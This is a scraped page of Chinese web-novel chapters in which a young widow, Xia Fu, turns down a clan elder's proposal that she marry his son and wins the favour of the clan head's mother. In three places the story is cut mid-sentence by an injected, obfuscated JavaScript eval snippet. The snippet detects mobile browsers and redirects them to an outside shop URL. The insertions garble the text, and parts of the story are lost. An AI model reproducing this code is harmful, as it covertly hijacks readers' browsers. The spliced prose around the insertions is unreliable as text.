《锦撷芳》 3. 第 3 章 家主盛名在外，夏芙却是第一回遇见他。 方才他那一声“十三叔”来得及时，叫夏芙不经意瞟了他一眼，这一眼便看呆了去。 夏芙当然耳闻过程明昱的美貌，只是私以为是众人对这位世家第一人的溢美之词，是他当朝状元郎身份镀的一层滤光，今日初见，方知传言不虚。 他一袭白衣几乎要与日芒融为一体，很有几分冰姿雪魄般的美，倘若此时送来一阵适宜的春风，恐要羽化登仙了去，浑身清冽之气逼得她压根不敢看第二眼。 夏芙很守礼地垂下眸。 不过比起惊艳于家主的相貌，夏芙更愁眼下的局面，她绞着手帕，陷入两难。 传闻家主洁身自好，最不喜女子近身攀谈。 她方才蒙他相助，对方又是族长之身，她不去拜见，实在失礼， 只是去了，也不知人家会不会忌讳她的身份？ 罢了，她坦坦荡荡，程家主亦是霁月风光，见个礼也没什么。 遂夏芙沿着石桥，近前几步，朝程明昱屈膝，“夏氏见过家主。” 她不敢看他，只瞥见他身后立着一排婆子，大约这是家主的排场。 适才程明昱敲打十三老爷的那番话，夏芙听得明白，那意思分明是不让十三老爷来这后花园了。而十三老爷身为族中长辈，不仅不敢露出丝毫不满，甚至还得小心翼翼奉承。 可见家主规矩极大。 夏芙当然感激家主替她解围，只是感激之余，她也实打实领受到了家主的威严。 唯恐自己此举惹人家不快，顺手也把她给驱逐出去。是以，她眉眼垂得极低，视线不敢落在他身上，绞着帕子，尾音潺潺弱弱。 程明昱自被两位公主缠上，便养成避嫌任何陌生女性的习惯，原要打道回房，余光瞥见那位隔房的弟媳走近，不得不驻足，随后掀起眼帘。 那一瞬，仿佛以为眼前的水面支着一朵艳而不妖的菡萏。 眼前人，天水碧的裙衫无声翻飞，天然一段娇怯全堆在眉梢，盈盈身姿被荡漾的波光映得恍若随时能折了去。 让人看第一眼不忍看第二眼，唯恐将她看化了。 程明昱很快移开视线，同时，眉棱蹙起。 昨日曾听母亲提到这位弟媳，只道是可怜可愁。 今日一见这夏氏，方知母亲因何而愁。 娇滴滴的一把嗓子，听了着实叫人犯愁。 女子娇美当然不是过错，然当貌美与柔弱同时出现在一个寡妇身上，那便是招人欺了。 程明昱不是不喜柔弱的女子，只是这世道不容女子柔弱，也不容任何人柔弱。 人当坚韧自强。 譬如他的母亲，譬如他先前两任妻子。 内能掌族务，外待人接物游刃有余。 程明昱抬手回了一礼，淡声问道，“方才十三叔可有为难于你？” 程明昱的声线天然不带情绪，让人有距离感。 夏芙目光落在自己脚尖，斟酌该如何回答。 十三老爷那番话虽有些越界之处，却不构成欺辱，且程明昱已敲打在先，她再告状似乎有些得理不饶人，她只是家主隔房的弟媳，不可能得到家主时时刻刻的庇护，眼下若得罪了十三老爷，他日待家主与大伯母回京，她又该如何自处？ 事缓则圆，夏芙不愿节外生枝，遂屈膝道，“十三叔只是说了几句闲话，倒也无伤大雅。” 夏芙说话时，程明昱注意到她的举止，眉目低垂一动不动，离着他十步开外的距离，虽柔弱却守礼知节。 难怪能得母亲怜惜。 程明昱事务繁忙，不可能多做停留，目光在夏芙身后小丫鬟身上掠过，提醒道，“往后，多带几个厉害的仆妇出门。” 隔房的事，纵他是族长，也不可能干涉太多，点到为止，程明昱再度一揖，头也不回离开。 他对夏芙的印象是柔弱，胆小，知礼。 但很快这些印象又从脑海一晃而过。 家事国事天下事，皆在程明昱心中，他哪有工夫管隔房弟媳的私事。 他一离开，身侧的婆子也鱼贯而退。 夏芙确认他走远，方敢松懈下来，悄悄吐了吐气。 不仅她，便是身旁的秋蕖也捂了捂胸口，后怕道，“二奶奶，家主的规矩好大呀。” 夏芙笑了笑没说话，带着秋蕖折返荣华堂。 周氏原要留夏芙与四太太用午膳，怎奈有嬷嬷通报家主已归，四太太识趣起身，带着夏芙离开。 周氏也不再款留。 大太太周氏膝下有四个孩子，长子程明昱，次子程明江，三子程明景，此外还有一个女儿，前不久刚嫁去了金陵总督府。 次子夫妇琴瑟和鸣，女儿女婿新婚燕尔，便是幺子如今也正在议亲，说亲者踏破门槛，独独长子程明昱孑然一身，周氏心里最疼的便是他，偏程明昱不爱热闹，素来不参与家宴，故而只要程明昱在府上，周氏总要唤他来用膳，陪着他说说体己话。 而这边夏芙在园子里遇见十三老爷的事，也禀给了周氏，膳后用茶时，周氏便问起了事端，程明昱简言带过， “我已敲打十三叔，也提醒她往后多带些人手出门，母亲放心。” 程明昱显然不想在此事上多费口舌，转而递了几份拜帖给周氏。 “母亲，这是京城柳家、西郡杨家和青州顾家送来了议婚贴，均有意与三弟结亲。” 周氏接了过来，一个个细看。 程明昱端坐一旁，给她介绍，“三位姑娘，儿子已吩咐人打听底细，均知书达理，为人端庄稳重，坊间有贤名，母亲斟酌挑选一位，聘为新妇便是。” 言简意赅说完，方拾起茶盏喝茶。他的两任妻子，并未相看，全由母亲做主，程明昱相信母亲的眼光。 周氏原还看得认真，一听程明昱这番话，便搁了下来。 程明昱不解，只得停下茶盏再问，“母亲可是有疑虑？” 周氏瞟着儿子那张不食人间烟火的俊脸，轻轻嗤了一声。 “你是给自己娶媳妇，还是给你三弟娶媳妇？你三弟不是你，他是幺子，不用支应门庭，取个貌美娇憨的媳妇也无不可，咱又不是娶宗妇，用得着这些条条框框吗！” 周氏没有看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498838|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去的兴致，将帖子扔开。 程明昱满脸愕然，旋即揉了揉眉棱。 “母亲这话从何说起？婚姻大事，父母之命媒妁之言，此事该母亲与我这个长兄做主。娶妻娶贤，绵延子嗣，侍奉尊长，乃古礼也。过往皆是如此，母亲今日何故动气？” 周氏并非动气，只是想起程明昱坎坷的婚姻，心头郁结罢了。 说到已故的两位媳妇，一位出生荥阳郑氏，一位出生赵郡李氏，均是响当当的的名门之后，世家嫡女，郑李二家仿佛是打听了程家喜好，将两位姑娘对着程家宗妇的要求培养。当年她两度为儿子议婚时，郑李两家之女，当真是无可挑剔。 只可惜，老天爷见不得儿子圆满，两段婚姻均剜人心肝。 头一个起先还顺利，新婚一月后便有了身孕，十月怀胎诞下嫡长子程亦彦，待出了月子，带着孩子归宁时，路上偶感风寒，就那么撒手人寰。 第二个更叫人意外，新婚不过半载，瞧着康健大方的人儿，孰知宴席多饮了些酒便没了气。那心疾原是娘胎里带来的，此前并未发作，两家人均是措手不及。 两任妻子，均是毫无征兆病亡，坐实了他克妻的名声。 两段婚姻，儿子媳妇举案齐眉，相敬如宾，在外人看来是羡煞旁人。 然在周氏眼里，夫妻之间，尊重有余，亲昵不足。 原先周氏也信奉娶妻娶贤的道理，盼着媳妇过门后，上得了厅堂，下得了厨房，内掌家务，外结官眷，能独当一面。 如今这些念头都没了。 人生不过须臾几十载，夫妻之间和和美美，你浓我浓才是要紧。 什么条条框框都比不过“恩爱”二字。 长子一生的幸福已然葬送，不能再委屈幺儿。 周氏拿定主意，看着程明昱，“你三弟喜欢貌美的姑娘，叫他自个儿去挑，挑上哪个，咱们上门提亲。” 程明昱不敢苟同，正色道，“母亲，比起容貌，儿子认为品性家世才干更为重要，婚姻是责任，是彼此均能给彼此兜底的责任。” 譬如郑氏和李氏，换做是他出了事，他也坚信她们能独当一面，过好自己的日子。 而非像夏氏那般彷徨无助，孤苦无依。 程明昱对自己两任妻子甚是满意。 “您不要逞一时之气。”他最后强调。 周氏看着一板一眼的儿子，冷笑：“这么满意，要不你娶了？” 程明昱顿住，平平静静看了母亲一眼，旋即掀起衣摆起身，郑重一揖， “儿子还有公务，先行告退。” 瞧，就是这么无趣！ 周氏看着他从容的背影，气得撇了撇嘴。 夏芙当然不知自己被程明昱嫌弃了，她心思浅，很快将十三老爷的话扔去脑后，回房的路上瞧见园子里花团锦簇，顺手带着丫鬟采了几篮子回府。 她是用不着这些花儿粉儿，但她会做胭脂水粉，回头送给各房的妯娌姑子，也算结个善缘。 她深知往后的路要一个人走，也知自己没有太大的能耐。 但她会努力把日子过好。 4. 第 4 章 夏芙为何选择守寡，也与婆母好处有关，譬如这午后，婆母从不叫人伺候，陪着用过膳，便叫夏芙回房歇着，她小憩片刻，醒来便坐在窗下做丹寇。 夏芙的院子原有两个大丫鬟，四个小丫鬟并两个粗使婆子。 程明祐过世后，有人看出秋香苑没有前景，往大奶奶金氏陪房陈嬷嬷处塞了好处，另谋高就去了，现如今，只剩秋蕖一个大丫鬟，两个小丫鬟并灶上烧水的婆子。 后来此事被婆母四太太知晓，要拨些人手过来，夏芙没让，说是清净些好，四太太也就随她。 夏芙吩咐两个小丫鬟将两篮子花瓣过了水，分别装入小瓷罐中捣碎，再加少许明矾固色，搅拌均匀，便成了花泥。 闺中女儿自制胭脂水粉实属寻常，但夏芙的丹寇又与旁人不同，夏家祖上曾做药材生意，夏芙自小颇通药理，于这些水粉丹寇中添些药材，便有不同的功效。 她唤来秋蕖，“你去耳房的药柜里取些百合与薄荷来。” 百合有安神的功效，薄荷则能提神，合在花泥里涂在指甲，不经意间闻上一闻，叫人心旷神怡。 秋蕖伺候夏芙一年有余，识药已是家常便饭，很快熟门熟路取了来，帮着夏芙研成粉末，随后加入花泥里，不多时便做成两罐丹寇。 夏芙闻了闻香气，十分满意，起身净手更衣。 “秋蕖，将两罐丹寇装好，咱们去送人。” 秋蕖将瓷罐分别装入两个小香囊，问夏芙道，“您这是要送给谁？” 夏芙入了内室，换了身浅紫的长褙出来，这身浅紫是前年的旧料子，显老气，“想是下午申时了，大嫂此刻该在议事厅，咱们先送一罐给她。” 秋蕖跟着她出门，小声嘀咕道，“大奶奶待您又不好，您送她作甚？” 夏芙轻瞥了丫鬟一眼，“这话往后不许再说。” 她当然知晓金氏待她不好，只因那大爷程明泽有些偷看她，惹了金氏不快，连带她也没得金氏好脸色。 不过那是过去的事了，那时程明祐在世，府内常有家宴，抬头不见低头见，程明泽那双眼时不时往她身上觑，她自然也不高兴，私下回去便与程明祐提了一嘴，哪知程明祐对自己嫡亲的兄长深信不疑，只道兄长最是老实，怎么可能做觊觎弟媳之事，叫她别多想，后来夏芙便不提了，只小心避开程明泽便是。 反倒是婆母心如明镜，给她和程明祐换了个院子，往后她去上房请安，再也不必撞上大房的人，现如今，她借口寡居，不必现身家宴，压根没有机会见到程明泽。 金氏是四房的长媳，掌着府上中馈，得罪她于夏芙无任何益处，上善如水，她无摄人的本事，却有磨人的耐心，水滴石穿，金氏碍着脸面也不好为难于她。 柔弱的人自有柔弱的生存之道。 这就是夏芙的生存之道。 夏芙所料不错，伸手不打笑脸人，丹寇送过去时，金氏果然十分高兴，还转送了一两新茶给她。 “弟妹手艺不错，我闻着这丹寇还有一股百合香。” “百合安眠，大嫂操持家务，我帮不上什么忙，只能在这小处费功夫，叫大嫂安个好觉。” 十八岁的姑娘，笑吟吟立在斜阳里，即便穿着旧褙子，也是水灵灵的美人。 不怪男人爱瞧她。 金氏同情她，也忌惮她。 “往后有人怠慢弟妹，弟妹只管告诉我。” 夏芙摇着头，“院子里的人都是使唤惯了的，我用着放心，反倒是大嫂这边，有什么事只管去院里吩咐我，我如今守着寡，能不出门则不出门。” 这是变相告诉金氏，她不会往程明泽跟前凑。 事实上这一年来，夏芙深居简出，金氏都看在眼里。 女人何苦为难女人，她已经没了男人，自己再欺负她，当真是没了良心。 金氏难得红了眼眶，握了握她手腕， “我心里有数。” 夏芙告辞金氏，又往隔壁六房去。 她与六房三奶奶孟氏交好，二人年纪相仿，又是同一年进的门，脾性相投。 孟氏待她便热情多了，高高兴兴拉着她进屋，又将丫鬟们都使出去，二人好说贴心话，“去年除夕你送了一罐给我，我用着十分好，后来你家明祐出事，我不敢再叨扰你，这一年来都去市面上买。” “只是，外头买的哪有你做的好，颜色好看，味儿还好闻，今日可给我等着了。”孟氏欢天喜地，伸出一双粉嫩的手，非要夏芙当场帮她涂。 夏芙拿着勺子舀出一些，均匀地往她指甲抹去，笑着回，“你喜欢，下回我还给你做。” 孟氏心肠热道，不是占人便宜的性子，忙道，“咱们事先可得说好，我出银子，你不许推拒。” 夏芙白了她一眼，“我是挣你银子来的？” 孟氏看着她消瘦的面孔，心疼道，“芙儿，你如今没了男人，一切都得靠自己，能攒一些是一些。我好歹还有男人时不时往家里塞些体己，我不能占你便宜。” 孟氏的丈夫程明英与程明祐是同科进士，得蒙程明昱举荐，进了工部为七品主事，近来正在弘农隔壁郡县修缮河道，是以孟氏陪着他回了老宅。 夏芙笑笑道，“我一月有五两月银，无儿无女，够用得很。” 这也是她决意留在程家的原因之一，程家富贵，上至老爷太太，下至她们这些年轻媳妇，每月均有月例发放，逢年过节，甚至还有年例，四季衣裳八套，吃穿不愁，倘若有人克扣月例，便可去戒律院申告，戒律院八大执事能替他们做主。 这也是金氏过去即便看她不顺眼，却绝不敢克扣月银的缘故。 家主治家甚严，能让如她这般无依无靠的人过得安心。 外头均以嫁入程家为荣，她傻了才离开这个安乐窝。 当然，她也要经营自己的人脉，孟氏便是她的人脉。 孟氏的丈夫程明英，很得家主看重，前程似锦。 孟氏迟早能得诰命，有个诰命夫人做手帕交，也是一种体面。 这些在旁人看来的萤火之光，夏芙会尽力争取。 所以，她绝不会要孟氏的银子。 粉嫩的指甲很快涂上一层娇艳的丹寇，孟氏深深一吸，只觉神清气爽。 “芙儿，你手艺太好了！” “不成，我不能白得你的东西。” 话落，夏芙便见她风一般地刮进内室，不多时取出一个盒子，递给她， “呐，这是昨夜我夫君去见家主，禀报修堤一事，家主赏给他的一沓金粟笺，我匀些给你，这玩意儿外面可买不到，内外涂蜡，质地硬挺光滑，可历千年而不朽，我记得你爱写簪花小楷，你省着些用。” 夏芙稀罕地接了过来，打开锦盒便见里头搁着数张金色的纸笺，色泽沉郁而浓烈，恍若一滩金灿灿的凝脂，果真是罕见的宝贝。 “这么贵重的东西，我可受不起！即便拿了，也舍不得用！” 孟氏坐了下来，凑到她跟前，眼巴巴道，“我也舍不得用，也就家主那样矜贵的人儿才用得起，咱们用是暴殄天物。” “神仙赏的东西都带着仙气，这些文雅的东西哪是咱们这些后宅妇人能用的，给了咱，咱总不能拿去换银子吧。” “我昨夜还与我夫君说，若是下回家主再赏他些什么，叫他要些实用的，譬如银子哪，珍珠呀，这些我喜欢。” 夏芙捏了捏她的脸，“你就贫嘴吧。” 孟氏吐了吐舌。 “家主房里连个女人都没有，程家铺子里送来的那些天南海北的奇珍异宝可不是蒙了尘，咱们家主夫人命薄，享不到这等泼天富贵。” 人与人的想法不能共通。 孟氏的吐槽与惋惜，夏芙体会不到。 在她看来，能安安稳稳吃个饱饭便已满足，那些所谓的富贵，于她而言是天边云，水中月。 她不会怨天尤人，也不会痴心妄想。 “你家三爷还不够能干的？假以时日做了堂官，你便是那人上人，想要什么没有？” 孟氏当然也很满足，她握住夏芙的手，“芙儿，咱们名为妯娌，实为姐妹，你放心，我在一日，你便有个伴，也有个靠。” 夏芙克制住泪意，笑着点了头。 可怜的小娘子，眸若朝露，便是腼腆起来，也是极美的。 时辰不早，夏芙告辞，孟氏留她用晚膳，夏芙推拒道，“我就不搅你们夫妻清净了。” 孟氏知道她避嫌，亲自送她出穿堂，“过几日我上街给你捎好吃的。” “好嘞！” 两府比邻而居，只相隔一个小花园，夏芙踩着晚霞的金光回了四房，哪知将将跨进门槛，身后传来一道呼唤， “芙儿妹妹。” 夏芙一愣，这声音说熟悉不熟悉，说陌生也不陌生，正是十三老爷的儿子程明旭。 她装作没听见的，搭着秋蕖的手臂，快步绕去了照壁后。 程明旭见状急得要跳起来，好不容易逮着她出门，打算说几句体己话，她偏不应，这可如何是好，程明旭气急败坏回了屋，见了自己爹，便埋怨道， “爹，你怎么跟芙儿说的，她应了吗？” 十三老爷懒洋洋地坐在堂屋饮酒，“别急儿子，这门婚事，爹爹一定帮你办成。” 程明旭大步迈过来，坐在他老爹对面，“您打算怎么办？” 十三老爷老神在在道，“过明路。” 次日一早，十三老爷便去北府寻程明昱，怎知连着几日程明昱不在府上，直到五日后，方逮着人。 进了书房，便与他开门见山， “明昱，我今日前来，是有一桩事想请你做主。” 程明昱正在书房习字，他执笔的姿势很好看，指节修长而有力，寥寥数笔下去，一副一笔书的行书便跃然纸上。 写完，他将金栗笺揉成一团，扔去角落纸篓，抬眸看向十三老爷，“您有何事，不妨坐下说话。” 十三老爷眼巴巴看着那团废弃的墨宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498839|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，暗自惋惜，程明昱年少成名，书画双绝，自明澜长公主四处求购程明昱的书画后，程明昱的手作再不外传，别说他们这些族人，便是圣上也讨要不得。 十三老爷心疼地收回视线，在他对面坐下，谈起正事， “明祐的媳妇夏氏，那日在后花园你见过的，她如今除了服，便可自行改嫁。我家明旭虽不如明祐考了进士，却也是个实诚的孩子，现跟着他六叔跑些庶务，有了长进，他今年十八，到了娶媳妇的年纪，我想着与其去外头找，还不如找个知根知底的，那夏氏坊间有贤名，为人端庄稳重，也很能干，我瞧着很好，想请你与大嫂做主，帮着明旭定下来。” 坊间有贤名，为人端庄稳重，也很能干.... 程明昱默默听完这些字眼，半晌没有说话，回想那日情景，还有什么不明白的，目光看向十三老爷，淡而犀利，“如果我没记错，她拒绝了您？” “嗨！”十三老爷笑着摆手，“姑娘害羞，信奉父母之命媒妁之言，哪能轻易应允？所以我这不是求你来了吗，让大嫂出面，事情水到渠成！你放心，我们当头婚的姑娘待她，绝不委屈了她。” 程明昱沉默下来，开始认真思量这桩婚事，据他所知，十三老爷已丧妻，府中是一妾室做主，而程明旭又因是丧母之子，议亲很是艰难，十三老爷打夏氏主意倒也不奇怪，只是在程明昱看来，这门婚事不算稳妥。 公公年富力强，儿子莽撞不经事，瓜田李下，容易惹人闲话。 程明昱一针见血，“您既然求到我头上，我便直言了，您尚未续弦，旭哥儿也年轻，那夏氏性子弱，改嫁过来，坊间恐有微词。” 十三老爷听出他言下之意，一拍大腿，颇为愤慨，“明昱，我就知道外头人都想岔了我，为了儿子能娶一门好媳妇，我豁出去了，咱们程家堡西北边不是还有几间空屋子嘛，你把它给我，等旭哥儿成亲，我便带着姨娘搬去那头，我手里的体己全交给旭哥儿媳妇，家里也全听她做主，你看如何？” 还算有诚意。 他与夏氏非亲非故，不可能替夏氏拿主意，思忖片刻，程明昱便道， “此事需我母亲首肯，若她不同意，十三叔便歇了这个心思。” 程明昱推到母亲身上，是防婚事不成，十三老爷迁怒夏芙。 旁人都说他不食人间烟火，可一个在朝堂爬摸打滚多年的成熟男人，又怎么可能不通人情世故，他这人做事向来细敏而周全。 十三老爷笑融融起身，“全仰仗家主。” 程明昱回了荣华堂，便将这事说给周氏听。 周氏没看上程明旭，“我倒是觉得旭哥儿配芙儿还差了些。” 若非幺儿对夏芙无男女之情，周氏都想让夏芙给她做儿媳。 多么漂亮的小娘子，看着赏心悦目。 程明昱道，“差不差不是咱们说了算，您还得问过她的意思。” “也是。” 翌日下午申时，周氏料理完族务，便寻了借口悄悄将夏芙唤来长房。 彼时荣华堂的下人都给使出去了，只一心腹嬷嬷在侧，周氏也不用藏着掖着， “旭哥儿比不上明祐，不过也有一桩好处，没有公婆压着你，房里房外都是你做主，你自个儿衡量衡量，想明白再回我。” 夏芙一听始末，都顾不上坐，忙支起身，“大伯母，我不要改嫁，我谁也不嫁，我就守着明祐的牌位过日子！” 语气又慌又急，小脸红彤彤的，如染了胭脂似的，叫人又怜又爱。 周氏赶忙搁下茶盏，开解道，“芙儿别急，有话好好说，你既看不上旭哥儿，我替你拒了便是，至于绝不改嫁的事，我劝你慎重，这样的话不可再说，不要绝自己后路！” 周氏是过来人，趟过无数风浪，深知人这一生变故太多，谁也不知今后会遇着什么人，经历什么事，一旦把话说满，害的便是自个。 夏芙却是含泪道， “大伯母，我与明祐是少年夫妻啊，他当年不嫌我出身寻常，不嫌我父母双亡，不嫌我嫁妆微薄，执意聘我为大妇，嫁过来后，敬我爱我，就连婆母也拿我当女儿一般疼，我夏芙岂可在婆母伤怀之际，他尸骨未寒之时，改嫁他人，我做不到！” “能得一人心，生死皆相随。” “我夏芙此生，定为明祐守节，无怨无悔！” 蔚蓝无边无际延伸去苍穹深处，独留乌金在西边天画地为牢。 夏芙为亡夫守节的心思，旁人不懂，但他懂。 晚风徐徐掀动他的衣摆，那袭白衫，在这样的光色里显得清冽出尘。 程明昱立在一墙之外，无意间听见夏芙这番话，脑海不禁浮现“风骨”二字。 他在一个柔弱女子身上，看到了矢志不渝的风骨。 婚姻是责任，亦是承诺。 他与妻子之间，是同进退共风雨的责任。 大抵夏氏与那位族弟之间是心无二致的承诺。 他欣赏有风骨的人，无论男女。 5. 第 5 章 是夜，程明昱将十三老爷请来，以母亲周氏的名义拒绝了这门亲， “母亲听了很恼火，只道明祐尸骨未寒，你们便盯上了人家媳妇，毫无同族情谊，叫人心寒，此事往后休得再提。” 十三老爷杵在案前，羞得老脸通红，支支吾吾想分辨几句，程明昱没给他机会， “当然，旭哥儿的婚事也不能不管，这样吧，近来明英在河道上当差，让他跟过去打打下手，听听分派，历练个一年半载，往后我在族中给他安置个差事，自能娶上一门好妻。” 十三老爷一听，满肚子冤屈霎时消失个无影无踪，眉开眼笑朝程明昱作揖， “明昱，我就这么个命根子，可就全托付给你了。” 一时好话说尽，恨不得上前给他端茶倒水，程明昱当然不会受长辈的礼，连夜将事情分派下去。 十三老爷只当自己在程明昱处颇有脸面，方得了这样的好差，殊不知程明昱此番作为是另有考虑。 以程明旭程氏子弟的身份，怎么可能娶不到媳妇？ 大抵是相中了夏氏的美色。 把人调开，免得那程明旭盯着夏氏不放。 身为族长，他不愿看到族内发生任何伤风败俗之事。 程明昱将此事安置妥帖后，转身又忙起了公务，近来他虽在弘农守制，朝中动静却分毫不差送抵案头，且给他送撘子的并非旁人，正是当今圣上。 去年先帝兵败金山堡，连带数万将士也陪着他送葬，大晋岌岌可危，关键时刻，几位肱骨以国赖长君为由，拥戴其弟也就是当今圣上继位，太后自然不肯，后执意将先帝襁褓中的孩子改立为太子，政权方得以平稳过渡。 换而言之，当今太子并非圣上亲子，后党与帝党在朝中时常斗得不可开交。好在政事堂几位宰辅万事以社稷为先，居中裁度，倒也没出什么大乱子。 守制前，他刚被皇帝提拔为参知政事，成为政事堂四宰辅之一，是皇帝极力拉拢的对象，是以哪怕他人不在中枢，皇帝万事都遣人来问过他的意思，请他暗中襄助。 程明昱的心思实则与其余三位宰辅一般，将江山与百姓搁在第一位，不过皇帝这边也不能不应付。皇帝也是聪明人，深知程家不涉党争，绝不将程明昱置于两难之地，问得都是国计民生的大事，显见比太后一党要礼遇于他，君臣相处倒也十分融洽。 撘子打开，程明昱准备回信。 君子慎独，哪怕是在夜深的书房，程明昱依然一丝不苟先沐浴焚香更衣，以示恭敬，随后方端坐于案后，提笔给皇帝上书。密黑的发髻梳得一丝不散，木簪下系着一根白色发带，浓睫低垂时在眼下落一小片阴影，唇色极淡，他执笔蘸墨，腕似游鱼，浑不觉夜风偷漏进来，将发带吹得飘扬似雪，给那素来古板端正的男人添了几分干净的风流。 这一忙，不知不觉，又到了深夜。 夏芙这一夜辗转反侧。 今日拒绝得决绝，也不知那十三老爷父子是否记恨在心。 她到底人微言轻，难免担心旁人报复于她，迷迷糊糊想了一遭，后半夜才睡着。 次日叫秋蕖去外头打听动静，没听见什么风声，又三日，孟氏携了一只荷叶包鸡来探望她，便提了一嘴， “你还记得十三房那个旭哥儿吧？” 夏芙一惊，压下心头的慌乱，问道，“他怎么了？” 孟氏亲自将荷叶包鸡撕成一块块，喂了夏芙一口，“嗐，也不知十三老爷在家主跟前说了什么好话，家主竟是吩咐我夫君将程明旭带去河道，说是要历练个一年半载。” 夏芙愣住，“要去这么久？” “可不是？前个大包小包载了一车，极不情愿跟着我夫君去了。” 夏芙心里那颗石头落了地，惊讶道，“是家主的意思？” “当然，否则我夫君可不会揽这个事！” “谁愿意身后带个拖油瓶！” 孟氏一面撕着荷叶包鸡，一面埋汰十三房的不好。 夏芙心不在焉地听着，脑海浮现程明昱那张面孔。 所以这事家主也知道了？ 她当然不会认为程明昱是为了她而将人支使开，认定程明昱是为栽培族中子弟，饶是如此，也实打实解决了她的麻烦，她念大伯母与家主这份情。 心地一宽，夏芙便笑起来，人也灵动了，欢欢喜喜起身，“我去准备些蘸酱，这样才好吃。” 孟氏难得见她这般开怀，只当是自己这只荷叶包鸡对了她的胃口，“你守丧一年，成日吃些素食，也该补补身子了，你若喜欢，赶明我陪你逛街，再买上一只。” “好嘞。” 待孟氏离开，夏芙心下便思量，承了家主与大伯母这么大一份情，若是她毫无表示，显得不知好歹，往后还要在大伯母庇护下过日子，总得做些什么孝敬大伯母才成。 翌日清晨，便请婆母为她拿个主意。 四太太对大太太的喜好了如指掌，“难得你有这份心，你大伯母又喜欢你，你是该孝敬孝敬她，她呢，过去是咱们程家的族长夫人，眼下是咱们的族长之母，手里过了千千万万的银子，世间珍奇珠宝山珍海味，只有她看不上的，没有她得不到的，一旁的东西，她不看在眼里，你得用心。” “针线上的功夫，你又不拿手，我记得有一回你给我配的药茶不错，不如你试着给她配几样，看能不能入她的眼？” “这是我唯一拿得出的手艺了！”夏芙笑吟吟地应下。 年轻的小娘子，心地就那般大，得了主意便热火朝天干起来，先拿了银子去程家药房，买了几样上好的药材，听闻周氏常年操持族务，殚精竭虑，多思难眠，便想着给她配几样助眠的茶。 所谓药茶，不仅得有成效，还得口感好，需兼顾色香味效。 夏芙拿婆母试了好几个方子，起先都不对路，直到第五日，四太太喝下去没多久有了睡意。 翌日清早夏芙俏生生立在婆母帘帐外，满怀期待候着她醒来，好不容易等着四太太绕出屏风，便迫不及待问，“怎么样，娘？” 四太太静静看了她一眼，没说话。 夏芙见她不吱声，便垮起了小脸，“没成？” 眼看人要哭，四太太不装了，抬手捏了捏她小脸蛋，“成啦！” 夏芙的眼眸倏地一亮，像两颗被洗亮的黑葡萄，光彩流淌出来，很快溢满了她整张笑脸，“那敢情好，我这就去配一罐来！”话音未落，她已轻快地转过身，碎花裙角微扬起一道优美的弧线。 眼看她兴致勃勃地忙去了，四太太哑然失笑。 起先儿子聘娶夏氏时，她如何不失望，自然也瞧不上夏氏的身份，待第一次见到她，小娘子水灵灵的模样，娇嗔天真的神采，轻易便俘虏了她的心。 没有人见了她会不欢喜，天生灵动又娇嗔的那股劲，让人过目不忘。 忙活一上午，至午后夏芙做好一小罐药茶，陪着婆母来长房拜访。 四太太是个聪明人，也不说这药茶多么好，只拉着夏芙跟周氏道， “她呀，没什么能孝敬您的，这几日费尽心思琢磨出了个药茶的方子，说是能助眠，您好歹尝个鲜，若能有些许成效，便是她的造化了。” 偌大的程氏家族，主子加奴才成千上万，每日挖空心思讨好周氏的不知凡几，寻常物件压根都送不到她跟前来，是以一罐药茶，周氏是不放在心上的，只是夏芙这片心意，她却很受用。 “你既费了这么大功夫，我必尝上一尝。” 是夜戌时初刻，便吩咐丫鬟依照夏芙的吩咐，熬上一罐，慢悠悠端着茶盏喝了几口。 彼时程明昱刚自议事堂回后院，来给母亲请安。 自程明昱回乡，京城族务大多送至弘农来料理，再有附近官员门客来访，程明昱一日总有大半日在议事堂忙碌，再忙，晨昏定省，他从不缺席。 一进屋，便见周氏在喝茶，程明昱问过安后皱了眉头， “不是嘱咐过您夜里不要喝茶吗？”喝茶不利于睡眠。 周氏晃了晃玻璃盏中金晃晃的茶水，笑着显摆，“这不是一般的茶，是药茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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过去每到五六月炎炎夏日，周氏一夜睡不了几个时辰，今年喝了夏芙的药茶，症状有明显好转。 周氏何等人物，四太太的算盘她门儿清，而夏芙的用心，她更看在眼里。 除了至亲，旁人侍奉她是为讨好，唯有夏芙是为了报答，是真心实意想让她好。 嫁去金陵的女儿对她都没这份耐心。 成婚前看家世，成婚后看人品。 周氏打心眼里喜爱上了夏芙。 这一日晚膳，难得程明昱与三少爷程明景一同作陪，膳后喝漱口茶时，周氏盯着小儿子， “景儿，你觉得芙儿怎么样？” 这一问，将两个儿子都给呛到。 程明昱没说话，却看得出来他眼神里有不满。 周氏无视他的不满，只盯着小儿子，“你母亲我见的人比你吃过的盐还多，芙儿放去京城都是一等一的大美人，你别计较她嫁过人，等你娶了她，方知她的好，怎么样，不如你见见她，母亲帮你说项！” 